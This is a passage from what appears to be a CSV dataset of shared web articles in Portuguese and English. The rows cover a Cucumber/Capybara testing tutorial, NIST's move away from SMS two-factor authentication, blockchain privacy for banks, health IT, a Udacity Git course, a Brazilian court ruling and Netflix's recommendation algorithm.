o teste pronto para ""desenvolver"", então, basta ir no terminal, navegar até a pasta features de seu projeto e executar o comando ""cucumber"". É só isso??? Não!! O que fizemos apenas foi pedir para o cucumber ""ajustar"" os steps para podermos dar vida ao desenvolvimento, e vai ficar algo mais ou menos assim: language: pt (colocar cerquilha antes) Funcionalidade: Aprendendo a trabalhar com capybara Agora a brincadeira vai começar a ficar engraçada, como vocês viram, não executou por estar apenas em português estruturado como algumas pessoas já me perguntaram, pois eu preciso agora dar o caminho das pedras para que cada step possa fazer sentido, pois é a partir daí que vamos começar a desenvolver. A primeira dica que eu dou é seguir passo a passo, ou seja, sempre que você executar e terminar um passo, começe outro. Alguns lugares falam pra copiar tudo e colocar já em um arquivo.rb, mas faça isso não, vai um por um que você tem melhores resultados . Então, vamos pegar o primeiro passo e colocar em um arquivo novo: Considere cada passo como um método a ser executado, e em ruby todo método finaliza com um end, com cucumber, os inícios Dado, Quando, Então, E são os inícios desses métodos. A base de execução do cucumber é em cima de Expressões Regulares (regex), o que quer dizer que vamos nos deparar sempre com os caracteres (/^ $/), etc. Mas não vou entrar no contexto das expressões regulares agora, mas explicando a regex (/^que eu acesse o facebook$/), sempre que em alguma feature eu escrever ""Dado que eu acesse o facebook"", ele será executado, sem que eu precise escrever o código todo de novo, ou seja, economizo muito tempo =). Bom, mãos na massa, e para isso, a frase ""pending # express the regexp above with the code you wish you had"" será substituída por comandos da gem capybara ( ). Como eu falei no primeiro post A arte de desenvolver testes, o coração da automação está em fazer as tarefas que são repetitivas se tornarem automáticas e para isso eu tenho que encontrar e trabalhar em cima dos elementos da minha página e para isso eu tenho ferramentas que me facilitam, a que eu mais gosto é o Firebug (complemento do firefox) e posso encontrar os elementros apenas selecionando, e posso escolher id, css ou xpath para poder indicá-los. Partindo deste princípio, o desenvolvimento fica muito mais fácil, pois geralmente o que eu faço nos elementos é clicar, informar um valor e validar. No capybara basicamente se utilizam os comandos: visit ' ' - Para visitar alguma url. page.find(:id, ""id do elemento"").click - Clica em um elemento definido por ID. page.find(:css, ""css do elemento"").click - Clica em um elemento definido por CSS. page.find(:xpath, ""xpath do elemento"").click - Clica em um elemento definido por XPATH. page.all(:id, ""id do elemento"")[0].click - Clica no primeiro elemento dentro de uma lista definido por ID. page.all(:css, ""css do elemento"")[0].click - Clica no primeiro elemento dentro de uma lista definido por CSS. page.all(:xpath, ""xpath do elemento"")[0].click - Clica no primeiro elemento dentro de uma lista definido por XPATH. PS: Quando nos depararmos com um checkbox, radiobutton, utilizar da seguinte forma: page.find(:radio_button, 'nome do radiobutton').set(true) - Nesse caso, ele vai selecionar aquele radiobutton. page.find(:checkbox, 'nome do checkbox').set(true) - Nesse caso, ele vai selecionar aquele checkbox. fill_in 'nome do elemento para inserir valor', :with => ""Aprendendo Capybara"" - Irá inserir no elemento a string Aprendendo Capybara. select 'Nome do item no Drop Down', from: 'nome do elemento drop down' - Seleciona um item de um drop down. ex: select 'Apto', from 'tipo_moradia' click_button 'Cadastrar' - Clic no botão cadastrar. click_link 'Home' - Clica no link Home caso haja algum na página. expect(page).to have_content 'Cadastro efetuado com sucesso' - Procura a mensagem e caso tenha, será sucesso. Basicamente é isso =). Vou colocar todos os steps abaixo para mostrar como ficaria =) para não ficar maior que já está essa mini aula rs: Salve o arquivo com o nome cenario1.rb. No terminal, navegue até a pasta do projeto e digite cucumber. O resultado será esse: Note que o mais legal de trabalhar com cucumber é a facilidade que ele tem de chamar um cenário ou outro através de frases, frases essas que são nada mais nada menos que os próprios critérios de aceite de uma estória, ou seja, desenvolver o critério de aceite se torna rápido e fácil, e para o review, mostrar tudo verdinho é segurança de deploy =). Desculpem-me por alongar esse assunto, mas acho necessário passar uma visão mais simplista de como desenvolver os testes, não fizemos mágica alguma para realizar a primeira etapa do cadastro do facebook em 14 segundos. Para quem está começando, esse é o caminho das pedras!!! Há formas de rodar em background (sem abrir navegador), o que vai mais rápido ainda o teste, mas isso vai ficar para a próxima. Dúvidas, sugestões, críticas são muito bem vindas, meu email é thiagomarquessp@gmail.com caso alguém queira saber de cara como rodar em background. Desenvolver testes é muito mais legal do que parece!!! =) Algumas fontes legais: Capybara doc: Regex doc (as que eu mais gosto): e",pt
1469566172,CONTENT SHARED,-6518848947517153700,801895594717772308,2127845507515568712,,,,HTML,http://9to5mac.com/2016/07/26/sms-too-insecure-for-2fa/,Apple &amp; others may soon be barred from using SMS for two-factor authentication,"One of the options available when using Apple's two-factor authentication (2FA) is to have a code sent to you via SMS. The US National Institute for Standards and Technology, which sets the standards for authentication software, says that text messaging is not sufficiently secure, and that its use for two-factor authentication will in future be barred. While NIST guidelines do not have the power of law, most major companies do abide by them, suggesting that Apple is likely to drop support for SMS authentication once the recommendation is published. Apple's current options for two-factor authentication are: a code sent to a trusted device (iPhone, iPad, iPod Touch or Mac) a phone call to a trusted phone number a code sent by SMS to a trusted phone number The current NIST draft says only that companies must ensure that trusted phone numbers are associated with a mobile network, and not a virtual number operating via a VoIP service. This is because VoIP services could be compromised. However, a single sentence at the end of the relevant text says that 'Out of band [verification] using SMS is deprecated, and will no longer be allowed in future releases of this guidance.' One potential source of confusion here is that the term 'out of band' can be used in different ways. It refers to a physically separate channel, which in telecoms terms is sometimes used to refer to VoIP services. However, in security terms, logging-in on the web and receiving a verification code by phone would also be considered out of band. The reference here appears to be to the latter, suggesting that all use of SMS will be barred. If you're not already using two-factor authentication, it is highly recommended: check out our how-to guide .",en
1469577760,CONTENT SHARED,6527704900182256036,2553895156129400476,1661938542148106328,,,,HTML,http://imasters.com.br/desenvolvimento/plano-de-evolucao-nivel-de-qualidade-equipe-java/?trace=1519021197&source=single,Plano de Evolução - nível de qualidade equipe Java -,"Em uma das empresas em que eu atuo como consultor, acabei construindo uma classificação que define o nível de qualidade da solução produzida por uma equipe de desenvolvimento Java. Esse plano foi utilizado para conscientizar qual era a real situação da qualidade do código produzido pela corporação e, principalmente, para traçar um plano de evolução para cada programador da equipem utilizado no conceito ""de pronto"" do Scrum. Hoje, eu gostaria de publicar o plano com objetivo de receber sugestões sobre o assunto. Segue abaixo: Nível 0 É classificada como ""nível 0"" uma equipe de desenvolvimento que codifica suas soluções Java sem quaisquer práticas, diretrizes ou patamar qualidade estabelecido, deixando o fato de livre decisão a cada desenvolvedor. Nível 1 É classificada como ""nível 1"" uma equipe de desenvolvimento que consegue codificar suas soluções Java compatíveis com as seguintes práticas: Java Code Convention - o código da solução é escrito seguindo o padrão mundial de organização e nomeação dos elementos de programação. Java Doc - o design da solução é 100% documentado ao mesmo tempo em que ela é desenvolvida. Nível 2 É classificada como ""nível 2"" uma equipe de desenvolvimento que consegue codificar suas soluções Java seguindo as práticas descritas no ""nível 1"", acrescidas simultaneamente das novas seguintes práticas: Java Efetivo - o código da solução contempla o uso correto dos idiomas de programação Java descrito pelo Joshua Bloch em seu livro Java Effective. Nível 3 É classificada como ""nível 3"" uma equipe de desenvolvimento que consegue codificar suas soluções Java seguindo as práticas descritas no ""nível 1 + 2"", acrescidas simultaneamente das novas seguintes práticas: TDD - o código da solução é escrito seguindo o a filosofia baseada em testes, criando na solução algum nível de cobertura de testes automatizados. Nível 4 É classificada como ""nível 4"" uma equipe de desenvolvimento que consegue codificar suas soluções Java seguindo as práticas descritas no ""nível 1 + 2 + 3"", acrescidas simultaneamente das novas seguintes práticas: Princípios OOP - o código da solução contempla o uso de princípios básicos e elementares da programação orientada a objetos. Padrões de Projeto - o código da solução contempla o uso correto de padrões de projeto. Nível 5 É classificada como ""nível 5"" uma equipe de desenvolvimento que consegue codificar suas soluções Java seguindo as práticas descritas no ""nível 1 + 2 + 3 + 4"", acrescidas simultaneamente das novas seguintes práticas: Refatoração - o código da solução contempla o uso correto dos princípios de refatoração de programação Java descrito pelo Martin Folwer . Programação pareada - o código da solução é aperfeiçoada com a refatoração utilizando a pratica de programação em par. Nível 6 É classificada como ""nível 6"" uma equipe de desenvolvimento que consegue codificar suas soluções Java seguindo as práticas descritas no ""nível 1 + 2 + 3 + 4 + 5"", acrescidas simultaneamente das novas seguintes práticas: Desenvolvedor Oracle Certified OCA e OCP - o código da solução contempla o uso adequado dos recursos básicos de programação e API JSE resultantes do conhecimento adquirido pela processo de certificação oficial Java. Dicas Scrum Masters, gerentes XP ou GP responsáveis pelas equipes podem utilizar esses níveis de qualidade para propor uma plano de evolução individual a cada membro desenvolvedor. Vale lembrar que os níveis são cronologicamente evoluídos. Desafie sua equipe e veja como eles podem construir uma solução Java com o mais alto padrão de qualidade. Só quem já passou por isso é que pode realmente saber da diferença da entrega e manutenção de uma solução baseado no nível da equipe. E você? Em que nível você se encontra? Mensagem do anunciante: Conheça a Umbler, startup de Cloud Hosting por demanda feita para agências e desenvolvedores. Experimente grátis! Mais Lidos da Última Semana",pt
1469578641,CONTENT SHARED,4706890430832287959,5660542693104786364,-795082065494840115,,,,HTML,http://www.americanbanker.com/news/bank-technology/banks-privacy-concerns-shaping-blockchain-vendors-strategies-1090411-1.html,Banks' Privacy Concerns Shaping Blockchain Vendors' Strategies,"One of the ostensible selling points of blockchain technology is its potential to bring greater transparency to financial markets. But this feature has turned out to be a bug for the institutions that would use the technology. In the original bitcoin blockchain, transactions are recorded on a public ledger for the whole world to see but users are pseudonymous, identified only by alphanumeric addresses that look like a cat walked on the keyboard. In the private, or "" permissioned ,"" blockchains being developed for the industry, only known, trusted entities can participate. This may alleviate concerns about bad actors using the system, but it doesn't address worries about tipping one's hand to the competition if everyone involved can see who did what. ""Confidentiality is the key issue holding things back - that's part of the sticking point for the banks,"" said Keith Horowitz, an analyst at Citigroup. So the major startups in this budding field are trying to restore privacy in distributed ledgers, by allowing users to encrypt sensitive data stored on them or to leave such information off the chains, or some combination. The leave-it-out strategy addresses another issue with the blockchain model: storing large volumes of transaction data can be costly for institutions executing hundreds of thousands of trades each day. [Get up to speed on distributed ledgers, cryptocurrencies and the bleeding edge of fintech at American Banker's third annual Blockchains + Digital Currencies conference July 28 in New York. Click here to read the agenda and register.] A potential drawback of both approaches is they could undermine one benefit of blockchains, even if they preserve other advantages (such as eliminating redundant data entry and removing single points of failure). ""If regulated financial institutions implement the technology in a compartmentalized way that shields regulators' mission-critical information, then regulators will have missed the once-in-a-lifetime opportunity to gain necessary tools for keeping the system safe and sound,"" wrote Caitlin Long, a former Morgan Stanley executive and self-described blockchain evangelist, in a recent blog post. How blockchain vendors address the interrelated questions of privacy and storage has become a point of differentiation in this young market. Some say sensitive information should never be published; some say all data should be published, even if some of it must be concealed. Digital Asset Holdings, the outfit run by former JPMorgan Chase executive Blythe Masters, falls squarely in the former camp. ""No private contractual data should be stored on a distributed ledger, encrypted or otherwise,"" Masters said by email. ""Shared ledgers should contain the bare minimum information, interpretable only by those with a need and right to know, to permit notification, synchronization and confirmation."" Symbiont, a developer of software for self-executing smart contracts, takes pretty much the opposite approach. ""We've been utilizing very sophisticated cryptographic techniques to execute on our thesis that everything - and I mean everything - must be on ledger,"" said Mark Smith, Symbiont's chief executive. His competitors have ""punted on this concept that says 'we're going to take things off the ledger in order to provide for some type of mythical confidentiality,'"" Smith said. ""When you do that you remove a large portion of the value of the distributed ledger and you remove the concept that all entities are sharing information."" When someone chooses to encrypt information on a blockchain, it usually looks like a time stamp of the transaction, and not much more. For example, one record might show that a certain participant on the network added something to the ledger on a given day and time, with a link. The wider network would not be able to view that information, because it's encrypted. But the party who uploaded it could give a private key to someone else (say, a regulator), who would use it to decrypt and view the information. To encrypt or not depends on whether data is considered sensitive, and that's difficult to determine when most blockchain startups and the institutions studying their technology have yet to decide the best applications and use cases for it. ""This is an emerging technology with a huge number of potential applications, and the type and volume of data stored on any given distributed or shared ledger would be dependent on its purpose and the required level of regulatory oversight,"" said Charley Cooper, a managing director at R3 CEV, the bank consortium. ""Ultimately this technology will dramatically improve transparency in financial markets."" But R3 is also designing for confidentiality. In September the firm hired IBM's former executive architect of banking innovation, Richard Gendal Brown, who has since been building a distributed ledger platform called Corda to record and manage important, critical information between regulated financial institutions. In R3's view, that information is financial agreements. Corda has "" no unnecessary global sharing of data : only those parties with a legitimate need to know can see the data within an agreement,"" chief technology officer Richard Gendal Brown said in a blog post introducing the platform. ""We reject the notion that all data should be copied to all participants, even if it is encrypted.""",en
1469581132,CONTENT SHARED,-4550355627706401135,-7456488753754080246,-169523041121927095,,,,HTML,http://www.digitaltrends.com/outdoor/bixpy-jet-drive/,Bixpy Jet is your personal water propulsion system,"It's summertime and being on or in the water is great, especially if you're into activities like snorkeling, kayaking, or stand-up paddle boarding. Not so great, especially on the really hot and humid days, is all that physical effort if you just want to relax and enjoy the sun. Enter the Bixpy Jet , the personal water propulsion device that will give you locomotion in the ocean. According to Bixpy, its Jet device has the approximate dimensions of a 1L bottle of water and a similar weight at 2 lbs, and it's able to produce enough thrust to drive a 240-lb kayak with two adults against ocean tides and winds. Speed and range will vary with load, but expect up to 7 mph for 15 miles on a single charge of its swappable 450 Wh lithium ion battery. It will even go in reverse. Related: This is the world's first smart electric, self-inflating, stand-up paddle board Naturally, the Bixpy Jet is waterproof: The submerged components and connectors are IP68 rated, and the less vulnerable parts are rated to at least IP67 in both fresh and saltwater. The idea for Bixpy came to the company founders when they went on a kayak fishing trip off the coast of San Diego and had a difficult time getting back ashore against wind and current. The next day, they searched for methods to motorize their kayak but couldn't find anything practical or affordable that could work with their existing kayak. So, they started building their own. While the Bixpy Jet was originally developed for kayaks, attachments and accessories will allow it to work with other personal watercraft, such as stand-up paddleboards, or even for snorkelers and divers. Sure, there are plenty of other water propulsion devices, but Bixpy Jet is unique in its adaptability. The same Bixpy Jet that attaches to the swimming grip, which has a built-in flashlight and action-camera mount, can be bolted to a paddleboard or small watercraft with a larger battery and joystick steering mechanisms. After 18 months of development, Bixpy will hit Kickstarter this summer and shipments are expected by the end of the year. The basic Bixpy Jet for swimmers will start at $750 and the kits for attaching to watercraft will hit the $1,000 mark. Stay tuned for an update once this hits Kickstarter.",en
1469590771,CONTENT SHARED,8074780316213343498,-2820994773540913369,1446483718629108909,,,,HTML,http://exame.abril.com.br/publicidade/siemens/conteudo-patrocinado/tecnologia-transforma-gestao-na-area-de-saude,Tecnologia transforma gestão na área de saúde | EXAME.com,"Novos tratamentos de saúde surgem constantemente para melhorar a qualidade de vida das pessoas. Mas os avanços na área médica não se restringem às descobertas científicas. A tecnologia também caminha em alta velocidade para transformar a gestão da saúde, reduzir o número de erros e proporcionar diagnósticos mais assertivos e atendimentos mais rápidos e eficientes nos consultórios e nas emergências. Um bom atendimento está longe de se restringir a profissionais qualificados. É preciso ir além e investir em conectividade e acesso rápido às informações. O prontuário eletrônico é um bom exemplo. Ele reúne todas as informações dos pacientes em uma única plataforma e aumenta a produtividade e a assertividade dos médicos. O registro digital está em alta no Brasil. Um levantamento realizado pela consultoria Accenture com 500 médicos revelou que 70% deles têm mais proficiência no uso de prontuários eletrônicos agora do que há dois anos. Além disso, 63% dizem que o uso de TI na área de saúde reduziu o tempo das consultas. O prontuário eletrônico é a porta de entrada para a digitalização da informação na área médica. Mas existem outras técnicas para estatísticas e análises. Sistemas de gestão de dados, por exemplo, automatizam os processos dos profissionais de saúde nas áreas assistenciais e apoiam o processo de decisão. ""O médico, além de ter todo o seu conhecimento, pode olhar o histórico e receber de um programa de computador uma sugestão de diagnóstico feita com base em indicadores ou em exames combinados"", afirma o consultor Rene Parente, líder da área de saúde da Accenture para a América Latina. Além disso, ao fazer uma prescrição eletrônica, o sistema pode alertar o médico sobre interações medicamentosas e possíveis incompatibilidades. Ganham o profissional e o paciente, uma vez que o sistema consegue cruzar em seu banco de dados milhares de informações que não caberiam na memória de uma pessoa. Ao ter todo o histórico de doenças, medicamentos usados e alergias de um paciente, por exemplo, o médico pode até mesmo trabalhar com programas de prevenção e evitar internações. Alta performance Mas os sistemas de informação na área médica vão muito além do prontuário eletrônico e da análise de dados. Já existem muitas ferramentas para transformar a gestão da saúde. Veja o caso da DASA, empresa especializada em diagnósticos clínicos e controladora de grandes laboratórios brasileiros, como Delboni e Lavoisier. Recentemente, o núcleo técnico operacional da DASA, localizado em Alphaville, na Grande São Paulo, ganhou uma esteira para processar exames. O sistema opera como uma plataforma de automação laboratorial para análise de amostras. Com 70 metros de comprimento, tem 27 máquinas integradas. Elas são conectadas à esteira para a realização de testes de diversos tipos, como os de bioquímica, hormonais e de imunologia. Funciona assim: ao chegar ao laboratório, o paciente tem seus dados pessoais e informações dos pedidos médicos cadastrados no sistema. O processo emite um código de barras que é colado no tubo que receberá o material biológico a ser examinado. Após a coleta, o material é transportado da unidade de atendimento até o núcleo técnico operacional. Um software lê o código de barras e inicia todo o gerenciamento, como a identificação do paciente, seus pedidos médicos e a avaliação sobre qual máquina está disponível naquele momento. Depois, direciona os tubos para a realização dos exames. Os resultados são enviados para a central de análise, onde funcionários avaliam os resultados antes de entregá-los ao paciente. A tecnologia otimizou o fluxo de trabalho e elevou a qualidade do diagnóstico e o conforto do paciente, uma vez que um único tubo de sangue pode ser usado para vários testes. ""Transformamos uma área que podia fazer 3 milhões de testes em outra com potencial para 6 milhões de exames. Duplicamos nossa capacidade"", afirma o médico Octávio Fernandes, vice-presidente de operações da DASA. O sistema também aumentou a eficiência do processamento dos testes. Se antes 60% dos exames de bioquímica, como creatinina e colesterol, ficavam prontos no mesmo dia, esse número subiu para 95%. Os dados são ainda mais expressivos em testes hormonais: 90% dos resultados saem em menos de 24 horas, enquanto antes não passavam de 50%. ""A automação trouxe vantagens de segurança, encurtou prazos e elevou ainda mais nossa qualidade analítica. Atualmente, colocamos 23 000 tubos por dia na esteira e processamos 90 000 testes"", afirma Fernandes. Antes da automação, eram os funcionários que alimentavam os equipamentos com os tubos. Agora, a esteira faz todo o gerenciamento do fluxo. ""É por isso que conseguimos liberar uma taxa tão grande de resultados no mesmo dia."" Os médicos brasileiros também já enxergam vantagens em sistemas de informações voltados para a gestão hospitalar. O levantamento feito pela Accenture aponta que 61% dos profissionais brasileiros usam ferramentas de TI para observação dos pacientes e para otimizar o tempo da consulta, enquanto 38% optaram por procedimentos eletrônicos para administração. São vários os exemplos do grande potencial da TI para a modernização e o aprimoramento da gestão da saúde e o atendimento ao paciente. ""Todos estão convencidos e esperançosos de que o uso de sistemas de informação na saúde é o caminho que deve ser seguido"", afirma Rene Parente, da Accenture.",pt
1469623880,CONTENT SHARED,5314107418764884230,-1443636648652872475,-6998055713425364960,,,,HTML,https://techcrunch.com/2016/07/26/deep-learning-software-knows-that-a-rose-is-a-rose-is-a-rosa-rubiginosa/,Deep learning software knows that a rose is a rose is a rosa rubiginosa,"We can't all be botanists, unfortunately, but most of us do have smartphones, and that may be a start. A computer vision system built by Microsoft Research Asia can identify thousands of species of flowers with nothing but a picture. The Smart Flower Recognition System (Microsoft always did have a way with branding) began serendipitously, with the chance meeting of MSRA's Yong Rui and botanists from the Chinese Academy of Science at a seminar. Rui's image analysis work was a perfect match for the botanists, who were trying to figure out how to sort through millions of publicly submitted images of local flowers. Ah, spring! When a young researcher's fancy turns to inter-disciplinary collaboration. The system is built on - what else? - machine learning, specifically a Caffe convolutional neural network trained in 800,000 flower images. Different species of flowers are differentiated enough that, like faces, they can be told apart by running them through a series of filters made to highlight certain features. Certain curves, certain dark spots, certain proportions - the subtle reasoning of the neural network mirrors our own intuitive recognition of familiar shapes and colors. ""The flower-recognition engine enables domain experts to acquire plant distribution in China in an efficient way. Not only that, this engine can help ordinary people who have a strong interest in flowers to gain more knowledge."" I asked Rui when the Smart Flower Recognition System will make its way into some kind of web service or app, like so many other experimental machine learning systems. If I hear back, you'll be the first to know.",en
1469624606,CONTENT SHARED,8749720044741011597,-2525380383541287600,-7324931632676877948,,,,HTML,https://br.udacity.com/course/how-to-use-git-and-github--ud775/,Como Usar o Git e o GitHub,"Lição 1: Navegando em um Histórico de Commits Nesta lição, você aprenderá sobre alguns tipos diferentes de sistemas de controle de versão e descobrir o que torna Git um grande sistema de controle de versão para programadores. Você também vai começar a praticar usando Git para ver o histórico de um projeto existente. Você vai aprender a ver todas as versões que foram salvas, fazer o checkout de uma versão anterior e comparar duas versões diferentes Lição 2: Criar e Modificar um Repositório Nesta lição, você aprenderá como criar um repositório e salvar versões de seu projeto. Você vai aprender sobre a área de teste, fazendo commit do seu código, branches e mesclagem, e como você pode usá-los para torná-lo mais eficiente e eficaz Lição 3: Usando GitHub para Colaborar Nesta lição, você vai começar a prática usando GitHub ou outros repositórios remotos para compartilhar suas alterações com os outros e colaborar em projetos multi-desenvolvedor. Você vai aprender como fazer e rever uma solicitação de recebimento no GitHub. Finalmente, você vai começar a prática através da colaboração com outros estudantes Udacity para escrever uma história ""criando sua própria aventura"". Projeto: Contribuir com um projeto ao vivo Os alunos irão publicar um repositório que contém suas reflexões do curso e enviar uma solicitação de recebimento a uma História colaborativa ""criando sua própria aventura"".",pt
1469625059,CONTENT SHARED,-817129654810180675,1317292353478724560,2865656778278020844,,,,HTML,http://gizmodo.uol.com.br/graham-acidente-carro/,Humanos seriam desse jeito se evoluíssem para sobreviver a acidentes de carro,"O corpo humano não se desenvolveu para suportar o impacto da colisão de um automóvel com outros objetos em altas velocidades. E é por isso que artistas e pesquisadores na Austrália criaram o Graham, a monstruosidade vista acima. Ele representa o corpo humano perfeito - perfeito para sofrer um acidente de carro. Graham, uma obra de arte com uma dúzia de mamilos, foi criado para conscientizar o público sobre a segurança nas estradas no estado de Vitória, na Austrália. Seu objetivo era chamar a atenção e ele conseguiu bem isso. Graham, uma escultura australiana feita para mostrar o corpo perfeito para suportar acidentes de carro. (via Victoria's Transport Accident Commission) ""Carros evoluíram muito mais rapidamente do que humanos, e Graham nos ajuda a entender porque precisamos melhorar todos os aspectos dos nossos sistemas rodoviários para nos proteger dos nossos próprios erros,"" diz Joe Calafiore, do Victoria Transport Accident Commission, ao The Guardian . Calafiore pode estar certo, mas a ênfase da obra de arte no corpo parece colocar o foco no individual em vez de destacar as falhas institucionais ou de infraestrutura de uma sociedade obcecada por carros. Nossos corpos não foram feitos para um monte de coisa que conseguimos fazer hoje em dia com tecnologia. Não fomos feitos para ficar o dia inteiro sentados digitando em computadores, nem para atravessar os céus em aviões, muito menos para correr pelo bairro caçando monstros invisíveis. O vídeo acima mostra porque eles fizeram o Grama com todos esses detalhes nojentos. Dá até para brincar com uma versão do Graham em 360 graus , que é tão assustadora quanto você deve imaginar. Agora eu tenho certeza de que terei pesadelos nesta noite. [ The Guardian ]",pt
1469628605,CONTENT SHARED,2156244701966673186,6735372008307093370,6593439845954008593,,,,HTML,http://www.jornalopcao.com.br/ultimas-noticias/trf-mantem-resolucao-que-proibe-cura-gay-71318/,"TRF mantém resolução que proíbe ""cura gay"" - Jornal Opção","A 7ª Turma Especializada do Tribunal Regional Federal da 2ª Região (TRF2) manteve, por unanimidade, a validade da Resolução 1/99, estabelecida pelo Conselho Federal de Psicologia (CFP) para direcionar a atuação de psicólogos com relação à orientação sexual de seus pacientes. A resolução em vigor proíbe psicólogos de exercerem qualquer atividade que favoreça a patologização de comportamentos ou práticas homoeróticas e adotarem ação coercitiva tendente a orientar homossexuais para tratamentos não solicitados, vetando portanto, a prática de terapias na linha conhecida como ""cura gay"". A decisão judicial considerou que a resolução é coerente com a legislação vigente, a dignidade da pessoa humana e o direito fundamento ao livre exercício profissional, diferente do que argumentava o recurso indeferido pelo Ministério Público Federal do Rio de Janeiro (MPF-RJ), autor de Ação Civil Pública que pretendia anular a resolução do CFP. A decisão do TRF2, porém, ainda cabe recurso. Até o dia 1º de agosto, o MPF pode recorrer ao Superior Tribunal de Justiça (STJ) ou ao Supreno Tribunal Federal (STF) para tentar reverter a decisão. De acordo com a advogada Chyntia Barcellos, especialista em direitos LGBT, as normas do CFP proíbem psicólogos de tentarem reverter a homossexualidade. ""É exatamente isso que continua em vigor, segundo o TRF2"", garante a advogada. Para Chyntia, não é possível subverter essa ordem. ""A homossexualidade é um estado do indivíduo e não pode ser objeto de cura, nem por parte de psicólogos, nem por qualquer profissional da área médica, visto que, desde 1990, não figura mais no Código Internacional de Doenças (CID)"", explica. Ela avalia ainda que a notícia é de extrema importância para reafirmar a rejeição a proposições legislativas voltadas à regulamentação do tratamento e da cura da homossexualidade. O colegiado do tribunal entendeu que cabe ao psicólogo prestar auxílio profissional ao indivíduo, seja homossexual ou não. E que ""propalar a realização de tratamento e cura da homossexualidade contribui com a patologização da orientação sexual do indivíduo"". Ainda no teor da decisão publicada esta semana, os magistrados afirmam que a Resolução 1/99 é coerente com as atribuições do Conselho Federal de Psicologia, que foi criado para ""orientar, disciplinar e fiscalizar o exercício da profissão de psicólogo"", nos termos da Lei nº 5.766/71. (Com assessoria)",pt
1469629418,CONTENT SHARED,5473340184873040894,-5639303336519418445,5868803050820997631,,,,HTML,http://beta.computerworld.com.br/vivo-cria-laboratorio-de-dados-para-impulsionar-uso-de-big-data,Vivo cria laboratório de dados para impulsionar uso de Big Data,"A Vivo pretende intensificar o uso de informações para direcionar seus processos de tomada de decisão. A operadora criou o Data Labs, um núcleo que abrigará 120 pessoas para trabalhar com ferramentas e aplicações de Big Data. ""É um time de alto desempenho formado por cientistas de dados altamente capacitados, com doutorado em Matemática e Estatística"", afirma a telco, que diz ter aumentado em 18 vezes a capacidade de processamento de BI (Business Intelligence) e ferramentas de análise apenas no último ano. A expectativa é elevar esse potencial em 87 vezes até o final de 2016. Os planos da companhia para soluções orientadas a grandes volumes de dados reúne uma série de projetos, em áreas como redes, comercial e marketing, e que estão em diferentes fases de implementação. ""Essas ferramentas nos permitem analisar o comportamento de clientes no uso de serviços de telecomunicações, assim como explorar toda malha de informações de redes fixa e móvel, e gerar ações comerciais ou operacionais para melhorar a experiência do assinante"", ilustra. Primeiros projetos Um exemplo de utilização do Big Data citado pela Vivo é o projeto para identificação prévia de problemas massivos na rede fixa (voz e dados). Com a tecnologia, a empresa analisa um conjunto de informações em tempo real para tomar medidas proativas para encontrar a solução. As informações analisadas referem-se a alterações no volume do tráfego de internet e voz em determinada região, aumento na quantidade de ligações para o call center, informações sobre tipologia da rede e dados geográficos que indicam localidades com maior incidência de problemas, sejam furtos ou rompimento de cabos. Já na prova de conceito, realizada no início do ano, este projeto reduziu em 70% o tempo de identificação e solução da massiva, com mais de 85% de precisão no diagnóstico. Isso impacta diretamente e de forma positiva na experiência do cliente, além de reduzir custos com call center e equipes de campo. Outro projeto, iniciado há cerca de seis meses, diz respeito à otimização e dimensionamento de rede móvel, também com o objetivo de melhorar a experiência do cliente com nossos serviços. Com a solução, a partir da análise da demanda qualificada e experiência de uso e qualidade no tráfego de voz e dados dos clientes nas estações rádio base, a Vivo estima a demanda futura e otimiza investimentos e recursos dedicados a aumento da capacidade de rede de forma direcionada, tornando os investimentos mais precisos e rentáveis. Inteligência artificial A operadora diz, também, que vem aplicando técnicas estatísticas de aprendizado de máquina para tratar informações e a gerar insights. Esta tecnologia vem sendo aplicada em algumas frentes, como o Next Best Action (acompanhamento do ciclo de vida do cliente para se antecipar a suas necessidades) e Predição de Churn (tomada de medidas para evitar que o cliente venha a deixar a empresa). O Big Data também tem auxiliado a companhia a definir novos portfólios de planos móveis (pré, pós e controle). A empresa simplificou e ampliou os pacotes de dados nos planos móveis com o suporte dos insights, que mostrou a demanda crescente por internet. A ferramenta também dá suporte para ações de marketing para promover a migração de clientes para o novo portfólio, sempre atrelada à adequação de seu perfil de uso. Big Data no setor de telecom As operadoras parecem que abriram os olhos para o potencial dos dados que possuem armazenados. O anúncio da Vivo vem poucos dias depois de a TIM revelar que disponibilizaria seu Big Data para que e parceiros externos e clientes corporativos desenvolvessem soluções a partir da plataforma. O primeiro acordo considerando o modelo foi firmado com a Prefeitura do Rio de Janeiro. O órgão pretende cruzar dados para criar um mapa de deslocamento com foco na gestão de megaeventos e desenvolvimento de soluções a partir do conceito de Cidades Inteligentes.",pt
1469649566,CONTENT SHARED,1005751836898964351,3429602690322213789,6505036434267960593,,,,HTML,https://www.linkedin.com/pulse/seria-stranger-things-uma-obra-de-arte-do-algoritmo-da-gustavo-miller,Seria Stranger Things uma obra de arte do algoritmo da Netflix?,"Matei Stranger Things no último final de semana, sete dias após o seu lançamento na Netflix, tomado pelos milhares posts nostálgicos que floodaram minhas redes sociais sobre a série que emula os filmes de aventura infantil dos anos 80. Antes de ser mais um a dizer que os criadores foram geniais ao colocarem em 8 episódios todos os nossos filmes favoritos de infância, ninguém chegou a pensar que essa série talvez seja a maior obra de arte do algoritmo da Netflix? Pensem aqui: com base nos hábitos de seus assinantes, há cinco anos o algoritmo deles mostrou que os filmes do Kevin Spacey eram muito vistos, assim como os dirigidos por David Fincher, e que uma série britânica dos anos 90 sobre os bastidores sujos do Parlamento tinha uma interessante legião de seguidores. Daí saiu a adaptação americana para House of Cards. Desta vez temos uma série que costurou ET com Conta Comigo, Alien com Carrie, Contatos Imediatos do Terceiro Grau com Evil Dead, Goonies com Poltergeist, Além da Imaginação com Chamas da Vingança... Tudo isso estrelado por dois dos atores mais populares da década perdida: Winona Ryder e Matthew Modine. A Netflix costuma se fechar quando o assunto é a maneira como eles exploram dados e criam produtos a partir dos insights que o big data sugere. O algoritmo deles, que já ajudou (mas não é crucial, deixemos claro) a ressuscitar seriados como Arrested Development e Full House, além de estreitar cada vez mais a parceria com a Marvel Studios ( vide a penca de novas séries anunciadas na Comic-Con ), é algo tão valioso dentro da empresa que ela criou internamente o Netflix Prize , que justamente premia quem melhorar a capacidade daqueles números darem previsões de consumo. Em 2013, 75% dos assinantes escolhiam o que assistir ali dentro por base das recomendações da empresa. E hoje? A Netflix não divulga. Uma de minhas frases favoritas sobre a empresa, por sinal, é a de que há "" 33 milhões de versões diferentes da Netflix"" . Conhecendo um pouco como a Netflix analisa todos os nossos hábitos ali, aposto um quindim que tem muito big data por trás de Stranger Things. E que nenhuma das 99973 